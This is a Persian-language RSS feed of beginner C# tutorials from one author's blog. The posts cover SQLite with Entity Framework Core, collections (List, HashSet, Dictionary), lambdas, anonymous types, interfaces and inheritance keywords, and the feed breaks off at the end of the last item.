<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های سید عمید قائم مقامی</title>
        <link>https://virgool.io/feed/@m_14047363</link>
        <description>برنامه نویسی سیستم ویندوز و مهندسی معکوس و علاقه مند به آموزش.</description>
        <language>fa</language>
        <pubDate>2026-04-15 02:55:57</pubDate>
        <image>
            <url>https://files.virgool.io/upload/users/4383485/avatar/UKYPrq.jpg?height=120&amp;width=120</url>
            <title>سید عمید قائم مقامی</title>
            <link>https://virgool.io/@m_14047363</link>
        </image>

                    <item>
                <title>SQLite در سیشارپ در رایدر</title>
                <link>https://virgool.io/@m_14047363/sqlite-%D8%AF%D8%B1-%D8%B3%DB%8C%D8%B4%D8%A7%D8%B1%D9%BE-%D8%AF%D8%B1-%D8%B1%D8%A7%DB%8C%D8%AF%D8%B1-rcfcx5h4qfeb</link>
                <description>برای راه اندازی sqlite در سیشارپ و در رایدر. ابتدا پکیج های زیر رو نصب میکنیمMicrosoft.EntityFrameworkCore.Sqlite
Microsoft.EntityFrameworkCore.Tools
Microsoft.EntityFrameworkCore.Design
Microsoft.EntityFrameworkCoreبعد از نصب پکیج ها باید csproj شما به گونه زیر باشد:بعد در صفحه اصلی پروژه کد زیر رو جای گذاری میکنیم:using Microsoft.EntityFrameworkCore;

using var db = new DbContext(
    new DbContextOptionsBuilder()
        .UseSqlite(&quot;Data Source=MyDatabase.db&quot;)
        .Options
);

db.Database.EnsureCreated();//در این خط کد میاد برسی میکنه اگر دیتابیس ساخته نشده باشه اون رو میسازه.در داخل پوشه پروژه یک دیتابیس با نام MyDatabase.db ایجاد میشود.Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Thu, 05 Feb 2026 14:33:11 +0330</pubDate>
            </item>
                    <item>
                <title>SQLite  در سیشارپ</title>
                <link>https://virgool.io/@m_14047363/sqlite-%D8%AF%D8%B1-%D8%B3%DB%8C%D8%B4%D8%A7%D8%B1%D9%BE-t8dg6cdyxcrj</link>
                <description>قصد داریم دیتابیس SQLite رو با هم در ویژوال استدیو ساخته و استفاده کنیم. در ابتدا یک پروژه کنسول اپلیکیشن در سیشارپ میسازیم.(با انتیتی فریمورک)برای ساخت و مدیریت دیتابیس ابتدا Nuget های زیر رو نصب میکنیم.(ورژنها باید مطابق ورژن .net باشن)(توی سولوشن پروژه روی اسم پروژه کلیک راست میکنیم نوشته Manage Nuget Package Manager)Microsoft.EntityFrameworkCore.Sqlite
Microsoft.EntityFrameworkCore.Tools
Microsoft.EntityFrameworkCore.Design
Microsoft.EntityFrameworkCoreحالا برا این که ساختار پروژه تمیز باشه توی سولوشن یک فولدر ایجاد میکنیم و اسمش میزاریم Modelsاول باید مدل بسازیم:حالا فرض میکنیم ما چندین تا موجودیت داریم مثلا یه جدول میخوایم بسازیم به اسم User که قراره اطلاعات کاربران داخلش باشهمثلا میگیم کاربر چندین تا ویژگی داره مثلا ؟آیدینام کاربریحالا برای هر کدوم از این ها یه پراپرتی قرار میدیم:(یک کلاس با اسم User میسازیم و پراپرتی هارو درون آن مینویسیم)public int UserID{get;set;}
public string UserName{get;set;}همانند شکل زیر:فرض میکنیم میخوایم همین مدل رو ببریم توی دیتابیسحالا برای این که بخوایم روابط رو مشخص کنیم و کلا تنظیمات انجام بدیم باید یه کاری انجام بدیم و اونم اینه که برای این که استاندارد رو رعایت کرده باشیم یه پوشه جدید میسازیم به اسم Data یه کلاس داخلش ایجاد میکنیم(مثلا با نام AppDbContext).AppDbContext واسطه بین ما و دیتابیس میشه و ما اونجا مشخص میکنیم کدوم یک از جداول با هم ارتباط دارن.(سطح دسترسی رو پابلیک قرار میدیم)AppDbContext  باید از DbContext ارث بری کند. کانستراکتور ایجاد میکنیم:public AppDbContext(DbContextOptions&lt;AppDbContext&gt; options) : base(options)
{

}حالا این کانستراکتور چیکار میکند؟ و توی &lt;AppDbContext&gt; گفتیم ینی تنظیماتی که بهت میدیم اینجاست و با این کلاس تعامل داری و یک متغیر گذاشتیم به اسم optionsدقیقا options کارش چی هست؟وظیفش اینه ارتباط ها رو مدیریت کنه مثلا:رشته اتصال ما ( این که به کدوم دیتابیس و کدوم سرور وصل شه،آیا روش احراز هویتی چیزی وجود داره یا خیر)و اون base(options); هم تنظیماتی که انجام میده رو میفرسته به والد خودش ینی همون DbContextحالا بعد از این که این ایجاد شد چیکار میکنیم؟ باید مشخص کنیم چطوری مدل هامون با هم ارتباط برقرار کننحالا باید از یک متد استفاده کنیممتد OnModelCreateing اون متدی هست که ما ارتباط ها رو مشخص میکنیم که کدوم جداول به هم وصل هستن.برای ایجاد کردنش می نویسیم  override و بعد یک اسپیس میزنیم (اینتلی سنس ویژوال استودیو متدهایی رو بهت پیشنهاد میده و از اون لیست OnModelCreating رو انتخاب میکنی)(چیزی که داخل متد هست رو پاکش نکنید)حالا اینجا روابط رو مشخص میکنید.  یه مدل دیگه هم میسازیم.یه کلاس دیگه بسازید با نام  Post میسازیم و درونش مقادیر زیر را وارد میکنیم.    public class Post
    {
        public int Id { get; set; }
        public string Title { get; set; }
        public string Body { get; set; }

        // کلید خارجی
        public int UserId { get; set; }
        // ویژگی ناوبری (Navigation Property)
        public User Author { get; set; }
    }شاید براتون سوال بشه چرا توی آخرین پراپرتی اسم کلاس اومده؟چون ما داریم میگیم هر پست از کاربران مربوط به یک کلاس کاربر هست که اسمش گذاشتیم Authorبرمیگردیم به فایل AppDbContext:حالا توی همون متد OnModelCreating اون چیزی که خودش نوشته رو پاک نکنید بیاید یه خط پایین تر.modelBuilder.Entity&lt;Post&gt;()
    .HasOne(p =&gt; p.Author)    // هر پست یک نویسنده دارد
    .WithMany(u =&gt; u.Posts)   // هر نویسنده چندین پست دارد
    .HasForeignKey(p =&gt; p.UserId); // کلید خارجی این است
اونجا که نوشته modelBuilder اون ابزاری هست که ما میگیم میخوایم روی این مدل چه کاری انجام میدیمبرای ساخت دیتابیس ما زمانی که میخوایم دیتابیس ایجاد کنیم میگریشن (Migration) انجام میدیم.حالا کار بعدی ما اینه که یه رشته اتصال مشخص کنیم:توی پروژه های اِی اِس پی ما میتونستیم مشخص کنیم توی یه فایلی به اسم appsettnigs.json اما از اونجایی که ما روی کنسول کار میکنیم برمیگردیم به فایل AppDbContextحالا مثل اون OnModelCreating اینبار یه متد دیگه رو روش کار میکنیم اسمش هست: OnConfiguringمدل عکس زیر اون رو درست میکنیم:حالا در مرحله بعدی مایگریشن میزنیم: مایگریشن کارش چیه؟ ناسازگاری بین ابزارهای مختلف مثل زبان برنامه نویسی و دیتابیس رو حلش میکنه.پیش از اون باید مشخص کنیم دیتابیس ها رو به وسیله کلاس DbSet این کار انجام میدیم:public DbSet&lt;Post&gt; Posts { get; set; }
public DbSet&lt;User&gt; User { get; set; }دی بی ست نماینده اون مدل ما هست که با دیتابیس ارتباط داره.باید پایین کانستراکتور باشه تا استاندارد رعایت بشهبرای مایگریشن طبق عکس زیر رفتار میکنیم:حالا اون کنسول که براتون باز شد این رو بزنید:Add-Migration InitialCreateحروف کوچیک بزرگ چندان تاثیری نداره ولی اگر ساختار رعایت شه قشنگ تره , اون InitialCreate هم اسم اون مایگریشن ما هست و دلخواه هم هست ولی معمولا اولین مایگریشن رو این شکلی می نویسناگر ارور به ارور زیر برخورد کردین یک کانستراکتور خالی در AppDbContext بسازیدpublic AppDbContext() { }و این رو اضافه کنید(قبلی رو پاک کنید)protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)
{
    if (!optionsBuilder.IsConfigured)
    {
        optionsBuilder.UseSqlite(&quot;Data Source=MyDatabase.db&quot;);
    }
}مانند تصویر زیر:اگر همه چیز رو درست انجام داده باشین یک دیتابیس در پنجره سلوشن اکسپلورر ظاهر میشود. مانند عکس زیر:خب حالا برای این که جداول ما ایجاد بشن اینبار این دستور رو هم میزنیمUpdate-Databaseالان دیگه جداول ما ایجاد میشن.خروجی کنسول باید مطابق عکس زیر باشد:کد زیر رو برای تست دیتابیس در فایل اصلی برنامه مینویسیمusing SQLite001.Models;
using Microsoft.EntityFrameworkCore;
using SQLite001;
using SQLite001.Models;

Console.WriteLine(&quot;--- سیستم مدیریت محتوا (تمرینی) ---&quot;);

using (var context = new AppDbContext())
{
    // ۱. اطمینان از اینکه دیتابیس ساخته شده (اختیاری اگر میگریشن زدید)
    context.Database.EnsureCreated();

    // ۲. ایجاد یک کاربر جدید
    if (!context.User.Any()) // اگر کاربری نبود بساز
    {
        var newUser = new User { UserName = &quot;Hassan_Dev&quot; };
        context.User.Add(newUser);
        context.SaveChanges(); // ذخیره در دیتابیس
        Console.WriteLine($&quot;کاربر &#039;{newUser.UserName}&#039; با موفقیت ساخته شد.&quot;);
    }

    // ۳. اضافه کردن پست برای اولین کاربر
    var user = context.User.First();
    var newPost = new Post
    {
        Title = &quot;اولین تجربه دات‌نت&quot;,
        Body = &quot;من امروز کار با SQLite و EF Core را یاد گرفتم!&quot;,
        UserId = user.UserID // اتصال پست به کاربر
    };

    context.Posts.Add(newPost);
    context.SaveChanges();
    Console.WriteLine(&quot;پست جدید با موفقیت ثبت شد.&quot;);

    // ۴. نمایش اطلاعات (Reading)
    Console.WriteLine(&quot;\n--- لیست تمامی پست‌ها به همراه نویسنده ---&quot;);

    var allPosts = context.Posts
        .Include(p =&gt; p.Author) // بارگذاری اطلاعات نویسنده (همان Navigation Property)
        .ToList();

    foreach (var p in allPosts)
    {
        Console.WriteLine($&quot;عنوان: {p.Title} | نویسنده: {p.Author.UserName}&quot;);
    }
}

Console.WriteLine(&quot;\nعملیات با موفقیت به پایان رسید. کلیدی را برای خروج فشار دهید...&quot;);
Console.ReadKey();توجه: در دات نت چندین دیتابیس ساخته میشود که دیتابیس موجود در آدرس زیر دیتابیس صحیح ما میباشد.از SQLite Expert Professional میتونید محتویات دیتابیس خودتون رو ببینید.Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Tue, 03 Feb 2026 12:36:48 +0330</pubDate>
            </item>
                    <item>
                <title>سیشارپ Dictionary&lt;TKey, TValue&gt;</title>
                <link>https://virgool.io/@m_14047363/%D8%B3%DB%8C%D8%B4%D8%A7%D8%B1%D9%BE-dictionarytkey-tvalue-xnlztzex1gqp</link>
                <description>Dictionary&lt;TKey, TValue&gt; یک ساختار داده کلید-مقدار (Key-Value) با کارایی بالا در سی‌شارپ است که در فضای نام System.Collections.Generic قرار دارد.اصول کلی:    هر کلید منحصر به فرد است    دسترسی سریع با کلید (O(1) در حالت ایده‌آل)    مانند دیکشنری واقعی: کلید = کلمه، مقدار = تعریفusing System.Collections.Generic;

// ایجاد Dictionary ساده
Dictionary&lt;string, int&gt; ages = new Dictionary&lt;string, int&gt;();

// ایجاد با مقدار اولیه
Dictionary&lt;string, string&gt; countries = new Dictionary&lt;string, string&gt;
{
    {&quot;IR&quot;, &quot;Iran&quot;},
    {&quot;US&quot;, &quot;United States&quot;},
    {&quot;UK&quot;, &quot;United Kingdom&quot;}
};Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Mon, 02 Feb 2026 12:19:45 +0330</pubDate>
            </item>
                    <item>
                <title>سیشارپ HashSet:</title>
                <link>https://virgool.io/@m_14047363/%D8%B3%DB%8C%D8%B4%D8%A7%D8%B1%D9%BE-hashset-f0klflncwflv</link>
                <description>HashSet&lt;T&gt; در سی‌شارپHashSet&lt;T&gt; یک مجموعه مجموعه‌ای (Set) با کارایی بالا در سی‌شارپ است که در فضای نام System.Collections.Generic قرار دارد. این ساختار داده برای نگهداری مقادیر منحصر به فرد بهینه شده است.ویژگی‌های اصلی1. عدم اجازه تکراریusing System.Collections.Generic;

HashSet&lt;int&gt; numbers = new HashSet&lt;int&gt;();

numbers.Add(1);  // true - اضافه شد
numbers.Add(2);  // true - اضافه شد
numbers.Add(1);  // false - تکراری است، اضافه نمی‌شود

Console.WriteLine(numbers.Count); // خروجی: 2مثال کاربردی:
    HashSet&lt;int&gt; numbers = new HashSet&lt;int&gt;();

    // اضافه کردن اعداد به HashSet (به ترتیب غیرمرتب)
    // توجه: HashSet ترتیب ورود را حفظ نمی‌کند
    numbers.Add(100); // اضافه کردن عدد 100
    numbers.Add(20); // اضافه کردن عدد 20
    numbers.Add(3); // اضافه کردن عدد 3
    numbers.Add(45); // اضافه کردن عدد 45
    numbers.Add(500); // اضافه کردن عدد 500
    
    // حلقه foreach برای پیمایش و نمایش عناصر HashSet
    // عناصر به ترتیب داخلی HashSet نمایش داده می‌شوند (نه لزوماً ترتیب ورود)
    foreach (int num in numbers)
    {
        // نمایش هر عدد با یک فاصله بعد از آن
        // مقدار نمایش داده شده ممکن است متفاوت از ترتیب ورود باشد
        Console.Write($&quot;{num} &quot;);
        // خروجی احتمالی: 100 20 3 45 500 (اما می‌تواند ترتیب دیگری باشد)
    }

    // دو خط جدید برای جداسازی بخش‌های خروجی
    Console.WriteLine(&quot;\n\nتبدیل به لیست و مرتب سازی:&quot;);

    // تبدیل HashSet به List برای امکان مرتب‌سازی
    // سازنده لیست می‌تواند یک IEnumerable دریافت کند
    List&lt;int&gt; sorted = new List&lt;int&gt;(numbers);

    // مرتب‌سازی لیست به صورت صعودی (از کوچک به بزرگ)
    sorted.Sort();

    // نمایش اعداد مرتب‌شده
    foreach (int num in sorted)
    {
        // نمایش هر عدد مرتب‌شده
        Console.Write($&quot;{num} &quot;);
        // خروجی قطعی: 3 20 45 100 500 (همیشه به این ترتیب خواهد بود)
    }
Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Mon, 02 Feb 2026 11:53:52 +0330</pubDate>
            </item>
                    <item>
                <title>سیشارپ list&lt;T&gt;:</title>
                <link>https://virgool.io/@m_14047363/%D8%B3%DB%8C%D8%B4%D8%A7%D8%B1%D9%BE-listt-gdtgr4xrzdfm</link>
                <description>کلاس List&lt;T&gt;:List&lt;T&gt; یکی از پرکاربردترین کلاس‌های generic collection در سی‌شارپ است که در فضای نام System.Collections.Generic قرار دارد.معرفی کلیList&lt;T&gt; یک لیست پویا و type-safe است که می‌تواند عناصر از نوع T را ذخیره کند.مثال:using System.Collections.Generic;

// ایجاد یک لیست از اعداد صحیح
List&lt;int&gt; numbers = new List&lt;int&gt;();

// ایجاد یک لیست از رشته‌ها
List&lt;string&gt; names = new List&lt;string&gt;();ویژگی‌های کلیدی1. پویا بودن سایز   نیازی به تعیین اندازه اولیه نیست   به طور خودکار هنگام نیاز گسترش می‌یابد2. Type Safety    فقط عناصر از نوع T را می‌پذیرد    از خطاهای نوع در زمان کامپایل جلوگیری می‌کندافزودن عناصرList&lt;string&gt; fruits = new List&lt;string&gt;();

// Add - افزودن در انتها
fruits.Add(&quot;Apple&quot;);
fruits.Add(&quot;Banana&quot;);

// AddRange - افزودن چند عنصر
fruits.AddRange(new[] {&quot;Orange&quot;, &quot;Mango&quot;});

// Insert - درج در موقعیت خاص
fruits.Insert(1, &quot;Grape&quot;); // در index = 1حذف عناصر// Remove - حذف اولین occurrence
fruits.Remove(&quot;Apple&quot;);

// RemoveAt - حذف با index
fruits.RemoveAt(0);

// RemoveAll - حذف با شرط
fruits.RemoveAll(f =&gt; f.StartsWith(&quot;A&quot;));

// Clear - حذف همه عناصر
fruits.Clear();دسترسی و جستجوList&lt;int&gt; numbers = new List&lt;int&gt; { 1, 2, 3, 4, 5 };

// دسترسی با index
int first = numbers[0]; // 1

// Contains - بررسی وجود
bool hasThree = numbers.Contains(3); // true

// IndexOf - پیدا کردن index
int index = numbers.IndexOf(4); // 3

// Find - پیدا کردن با شرط
int even = numbers.Find(n =&gt; n % 2 == 0); // 2

// FindAll - پیدا کردن همه با شرط
List&lt;int&gt; evens = numbers.FindAll(n =&gt; n % 2 == 0);سایر عملیات// Count - تعداد عناصر
int count = numbers.Count;

// Sort - مرتب‌سازی
numbers.Sort();

// Reverse - معکوس کردن ترتیب
numbers.Reverse();

// ForEach - اجرای عمل بر روی هر عنصر
numbers.ForEach(n =&gt; Console.WriteLine(n));مزایای List&lt;T&gt;    انعطاف‌پذیری: اندازه پویا    کارایی: دسترسی سریع با index (O(1))    امنیت نوع: جلوگیری از خطاهای نوع    قابلیت LINQ: پشتیبانی کامل از LINQ    متدهای کمکی: دارای متدهای کاربردی زیادمعایب و محدودیت‌ها    حذف/درج در میانه: کند است (O(n))    مصرف حافظه: ممکن است بیشتر از نیاز حافظه رزرو کندنکات مهم    همیشه با فضای نام System.Collections.Generic کار می‌کند    برای انواع value type، boxing/unboxing ندارد    thread-safe نیست (برای محیط‌های multithreading نیاز به synchronization دارد)    می‌تواند به عنوان پارامتر ورودی و خروجی متدها استفاده شودجمع‌بندیList&lt;T&gt; بهترین انتخاب برای اکثر سناریوهایی است که نیاز به مجموعه‌ای پویا از داده‌های هم‌نوع دارید. ترکیب type safety با انعطاف‌پذیری و متدهای کمکی آن را به یکی از پرکاربردترین ساختارهای داده در سی‌شارپ تبدیل کرده است.Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Mon, 02 Feb 2026 11:18:35 +0330</pubDate>
            </item>
                    <item>
                <title>انواع بی نام در سی شارپ یا Anonymous Type</title>
                <link>https://virgool.io/@m_14047363/%D8%A7%D9%86%D9%88%D8%A7%D8%B9-%D8%A8%DB%8C-%D9%86%D8%A7%D9%85-%D8%AF%D8%B1-%D8%B3%DB%8C-%D8%B4%D8%A7%D8%B1%D9%BE-%DB%8C%D8%A7-anonymous-type-wutdoucbmjuq</link>
                <description>نوع بی‌نام یعنی یک شیء بسازی بدون این‌که کلاس براش تعریف کنی.یعنی به‌جای این:class Person
{
    public string Name { get; set; }
    public int Age { get; set; }
}می‌نویسیم :var person = new
{
    Name = &quot;Ali&quot;,
    Age = 30
};کلاسی وجود ندارهاسم نوع رو خود کامپایلر پشت‌صحنه می‌سازهفقط همون‌جا قابل استفاده استویژگی‌های اصلی Anonymous Type1️⃣ فقط با var ساخته میشهنمی‌تونی این‌طوری بنویسی:Person p = new { Name = &quot;Ali&quot;, Age = 30 }; // ❌باید:var p = new { Name = &quot;Ali&quot;, Age = 30 }; // ✅2️⃣ پراپرتی‌ها Read-Only هستنvar user = new { Name = &quot;Sara&quot;, Age = 25 };

user.Age = 30; // ❌ خطای کامپایلچون:فقط getter دارنsetter ندارن3️ فقط در همان Scope معتبرندAnonymous Type رو:نمی‌تونی ریترن کنی (مستقیم)نمی‌تونی پارامتر متد کنینمی‌تونی فیلد کلاس کنیمثلاً این اشتباهه:public ??? GetUser()
{
    return new { Name = &quot;Ali&quot;, Age = 30 };
}🔹 کاربرد اصلی: LINQبیشترین استفاده از Anonymous Type توی LINQ هست 👇var result = people
    .Where(p =&gt; p.Age &gt; 18)
    .Select(p =&gt; new
    {
        p.Name,
        p.Age
    });اینجا:نمی‌خوای کلاس جدید بسازیفقط خروجی موقت لازم داریکدت خیلی تمیزتر میشه🔹 مقایسه Anonymous Type هادو Anonymous Type فقط وقتی برابرند که:ترتیب پراپرتی‌هااسم پراپرتی‌هانوع پراپرتی‌هادقیقاً یکسان باشه:var a = new { Name = &quot;Ali&quot;, Age = 30 };
var b = new { Name = &quot;Reza&quot;, Age = 40 };

bool equal = a.GetType() == b.GetType(); // ✅ trueاما این:var c = new { Age = 30, Name = &quot;Ali&quot; };

a.GetType() == c.GetType(); // ❌ false (ترتیب فرق دارد)🔹 محدودیت‌های مهم❌ نمی‌تونی ازش ارث‌بری کنی❌ نمی‌تونی اینترفیس پیاده‌سازی کنی❌ نمی‌تونی public کنی❌ برای داده‌های ماندگار مناسب نیست🔹 چه زمانی استفاده کنیم؟✅ وقتی داده موقتیه✅ خروجی LINQ✅ ساخت ViewModel موقت✅ کاهش کلاس‌های اضافه❌ وقتی داده قراره بین لایه‌ها جابه‌جا بشه❌ وقتی API یا متد عمومی داریTelegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Sun, 01 Feb 2026 13:29:36 +0330</pubDate>
            </item>
                    <item>
                <title>لامبدا (Lambda Expression) در C# چیست؟</title>
                <link>https://virgool.io/@m_14047363/%D9%84%D8%A7%D9%85%D8%A8%D8%AF%D8%A7-lambda-expression-%D8%AF%D8%B1-c-%DA%86%DB%8C%D8%B3%D8%AA-rxvhsudyntgx</link>
                <description>تعریف سادهلامبدا یک راه کوتاه و تمیز برای نوشتن متدهای کوچک و یک‌بارمصرف است.به‌جای این‌که:یک متد کامل بنویسیاسم براش انتخاب کنیفقط یک خط کار انجام بدیاز لامبدا استفاده می‌کنی.قبل از لامبدا (روش قدیمی)int Square(int x)
{
    return x * x;
}و استفاده:int result = Square(5);همان کار با لامبداFunc&lt;int, int&gt; square = x =&gt; x * x;

int result = square(5);شکل کلی لامبدا:(parameters) =&gt; expressionیا اگر چند خط کد داشت:(parameters) =&gt;
{
    // statements
    return value;
}مثال‌های ساده:1. لامبدای یک‌خطیFunc&lt;int, int&gt; doubleNumber = x =&gt; x * 2;2. چند پارامترFunc&lt;int, int, int&gt; sum = (a, b) =&gt; a + b;3. بدون پارامترAction sayHello = () =&gt; Console.WriteLine(&quot;Hello!&quot;);لامبدا چندخطیFunc&lt;int, int&gt; calculate = x =&gt;
{
    int result = x * 2;
    result += 10;
    return result;
};چه زمانی از لامبدا استفاده کنیم؟✔️ وقتی کد:کوتاه استیک‌بار مصرف استمنطق ساده داردداخل LINQ یا Event است❌ وقتی:منطق پیچیده استچندبار استفاده می‌شودخوانایی کم می‌شودTelegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Sun, 01 Feb 2026 13:07:16 +0330</pubDate>
            </item>
                    <item>
                <title>مقدماتی بر سی شارپ(interface و تغییرات مهم C# 8 به بعد):</title>
                <link>https://virgool.io/@m_14047363/%D9%85%D9%82%D8%AF%D9%85%D8%A7%D8%AA%DB%8C-%D8%A8%D8%B1-%D8%B3%DB%8C-%D8%B4%D8%A7%D8%B1%D9%BEinterface-%D9%88-%D8%AA%D8%BA%DB%8C%DB%8C%D8%B1%D8%A7%D8%AA-%D9%85%D9%87%D9%85-c-8-%D8%A8%D9%87-%D8%A8%D8%B9%D8%AF-apnt4qm75yhs</link>
                <description>اینترفیس چیست؟یک interface یا واسط، یک مفهومی است که به تعریف متدها بدون پیاده سازی آنها میپردازد، بنابراین میتوان گفت که از یک جهت بسیار شبیه به کلاس های انتزاعی یا Abstract است. کلاسهای مختلف میتوانند از این اینترفیسها ارث بری کنند و به پیاده سازی منطق آن بپردازند. یک interface میتواند شامل تعریف متد ها (Methods)، خصیصه ها (Properties) و رخداد ها (Events) باشد، اما نمیتواند دارای فیلد (اعضای خصوصی) باشد. استفاده از interface ها کار پیاده سازی منطق در برنامه را آسانتر کرده و خوانایی کدها را افزایش میدهد. پیاده سازی منطق در interface ها یکی از اصول طراحی SOLID نیز است، همچین در برنامه نویسی شی گرا نیز به شدت مورد استفاده قرار میگیرد.اینترفیس در سی شارپیکی از دلایل اصلی استفاده از interface در زبان #C این است که زبان سی شارپ برخلاف زبان C++ امکان ارث بری چندگانه (Multiple Inheritance) ندارد و تنها از 1 کلاس میتواند ارث بری کند. پیاده سازی واسط (interface) در زبان #C به وسیلهی سینتکس رزرو شدهی “interface” انجام میپذیرد. به طور قراردادی، معمولا در زبان سی شارپ، نام interface ها را با I (آی بزرگ) شروع میکنند. به عنوان مثال فرض کنید میخواهیم یک interface برای حیوانات ایجاد کنیم، کد ایجاد این واسط (interface) به صورت زیر خواهد بود:interface IAnimal
{
    void animalSound();
}در اینجا ما اینترفیسی با نام IAnimal ایجاد کردیم که در آن یک متد با نام animalSound وجود دارد که مقدار برگشتی آن از نوع void (یعنی متد چیزی Return نمی کند) است. همانطور که مشاهده میکنید، هیچ پیاده سازی برای این متد انجام نشده است زیرا اینترفیس animal یک تعریف انتزاعی است. اکنون کلاسهای دیگر میتوانند از این اینترفیس ارث بری کرده و به پیاده سازی متدهای آن بپردازند. به کد زیر توجه کنید:class Cat : IAnimal
{
    public void animalSound()
    {
        // The body of animalSound() is provided here
        Console.WriteLine(&quot;Miow Miow !!&quot;);
    }
}

class Dog : IAnimal
		
{
    public void animalSound()
    {
        // The body of animalSound() is provided here
        Console.WriteLine(&quot;Whoof Whoof !!&quot;);
    }
}در کد بالا دو کلاس Cat و Dog واسط IAnimal را پیاده سازی شده است، که هرکدام از این کلاسها، با توجه به منطق مشخص خودشان، عملیات پیاده سازی را انجام دادهاند. به عنوان مثال کلاس Cat صدای حیوان را به صورت Miow پیاده سازی کرده است و کلاس Dog به صورت Whoof.اکنون اگر متد animalSound را در شیهای ساخته شده از کلاس Cat و Dog صدا بزنیم با نتایج مختلفی روبرو میشویم:Cat persianCat = new Cat();
Dog shiba = new Dog();
persianCat.animalSound();
shiba.animalSound();خروجی:Miow Miow !!
Whoof Whoof !!توجه شود به علت اینکه کلاسهای Cat و Dog از اینترفیس IAnimal ارث بری کردهاند، میتوان مستقیما به جای ذکر کردن نام کلاس، از نام اینترفیس نیز استفاده کرد:IAnimal persianCat = new Cat();
IAnimal shiba = new Dog();تغییرات مهم C# 8 به بعد:متد با پیادهسازی در Interfaceقبل از C# 8اینترفیس فقط قرارداد بود:interface ILogger
{
    void Log(string message);
}هیچ کدی داخلش نمیشد نوشت.از C# 8 به بعدمیتونی داخل اینترفیس متد با بدنه داشته باشی:interface ILogger
{
    void Log(string message);

    void LogError(string error)
    {
        Console.WriteLine(&quot;Error: &quot; + error);
    }
}Null Safety با Nullable Reference Typesقبل از C# 8string name = null; // کامپایلر مشکلی نداشتNull Reference Exception میتونست هرجایی رخ بده . از C# 8 به بعدstring? name = null;   // مجاز
string title = null;   //  هشدارحالا:string → نباید null باشدstring? → ممکن است null باشدنتیجه:باگ کمترکد امنترخطاها زودتر دیده میشنSwitch تمیز و مدرن) قبل از C# 8int result;
switch (x)
{
    case 1:
        result = 10;
        break;
    default:
        result = 0;
        break;
}بعد از C# 8int result = x switch
{
    1 =&gt; 10,
    _ =&gt; 0
};کوتاهتر خواناتر بدون breakTelegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
                <author>سید عمید قائم مقامی</author>
                <pubDate>Sun, 01 Feb 2026 12:46:39 +0330</pubDate>
            </item>
                    <item>
                <title>مقدماتی بر سی شارپ(is و base):</title>
                <link>https://virgool.io/@m_14047363/%D9%85%D9%82%D8%AF%D9%85%D8%A7%D8%AA%DB%8C-%D8%A8%D8%B1-%D8%B3%DB%8C-%D8%B4%D8%A7%D8%B1%D9%BEis-%D9%88-base-johbzdmd9kmz</link>
                <description>عملگر is:عملگر is برای بررسی نوع (Type Checking) استفاده می‌شود. مثل این می‌ماند که بپرسیم: &quot;آیا این شیء از این نوع است؟&quot;ساختار ساده:if (variable is TypeName)
{
    // اگر variable از نوع TypeName باشد
}object obj = &quot;Hello&quot;;

if (obj is string)
{
    Console.WriteLine(&quot;It&#039;s a string!&quot;);
    // خروجی: It&#039;s a string!
}

if (obj is int)
{
    Console.WriteLine(&quot;It&#039;s an integer!&quot;);
    // اجرا نمی‌شود
}مثال دیگر:public class Animal { }
public class Dog : Animal { }
public class Cat : Animal { }

Animal myPet = new Dog();

if (myPet is Dog)
{
    Console.WriteLine(&quot;It&#039;s a dog! 🐶&quot;);
}

if (myPet is Cat)
{
    Console.WriteLine(&quot;It&#039;s a cat! 🐱&quot;); // اجرا نمی‌شود
}کلیدواژه base:کلمه base برای دسترسی به اعضای کلاس پایه (پدر) از داخل کلاس فرزند استفاده می‌شود.مثال:public class Animal
{
    public string Name { get; }
    
    public Animal(string name)
    {
        Name = name;
        Console.WriteLine($&quot;Animal created: {name}&quot;);
    }
}

public class Dog : Animal
{
    public string Breed { get; }
    
    public Dog(string name, string breed) : base(name) // ✅ فراخوانی سازنده Animal
    {
        Breed = breed;
        Console.WriteLine($&quot;Dog breed: {breed}&quot;);
    }
}

// استفاده
var dog = new Dog(&quot;Rex&quot;, &quot;German Shepherd&quot;);
// خروجی:
// Animal created: Rex
// Dog breed: German Shepherdفراخوانی متدهای کلاس پایه (وقتی متد override شده)مثال:public class Vehicle
{
    public virtual void Start()
    {
        Console.WriteLine(&quot;Vehicle is starting...&quot;);
    }
}

public class Car : Vehicle
{
    public override void Start()
    {
        base.Start(); // ✅ فراخوانی متد Start کلاس Vehicle
        Console.WriteLine(&quot;Car engine is running!&quot;);
    }
}

// استفاده
var car = new Car();
car.Start();
// خروجی:
// Vehicle is starting...
// Car engine is running!دسترسی به پراپرتی‌های کلاس پایهمثال:// استفاده
var manager = new Manager();
Console.WriteLine($&quot;Total salary: {manager.CalculateTotalSalary()}&quot;);
// خروجی: Total salary: 1500

public class Employee
{
    protected decimal BaseSalary = 1000; // protected: فقط کلاس‌های فرزند می‌بینند
}

public class Manager : Employee
{
    public decimal CalculateTotalSalary()
    {
        decimal bonus = 500;
        return base.BaseSalary + bonus; // ✅ دسترسی به BaseSalary از کلاس Employee
    }
}در متدهای static قابل استفاده نیستمثال:public class Parent
{
    public static void Method() { }
}

public class Child : Parent
{
    public static void MyMethod()
    {
        // base.Method(); // ❌ خطا! base در static معنی ندارد
    }
}Telegram: @CaKeeganGmail : amidgm2020@gmail.com</description>
                <category>سید عمید قائم مقامی</category>
